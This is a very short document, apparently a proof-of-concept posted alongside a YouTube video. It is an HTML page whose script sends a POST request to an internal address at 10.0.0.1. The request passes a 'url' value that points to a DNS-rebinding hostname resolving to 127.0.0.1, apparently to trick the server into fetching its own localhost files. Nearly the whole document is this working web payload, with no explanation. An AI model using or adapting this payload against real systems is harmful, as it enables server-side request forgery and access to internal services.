Video:
https://www.youtube.com/watch?v=5roYXcKLu7U
```<html><body><script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://10.0.0.1/?register', true);xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');xhr.onload = function(){    console.log(this.responseText);};xhr.send('url=http://7f000001.b9c90bd5.rbndr.us#hassssss.txt&hash=hasssh');</script></body></html>```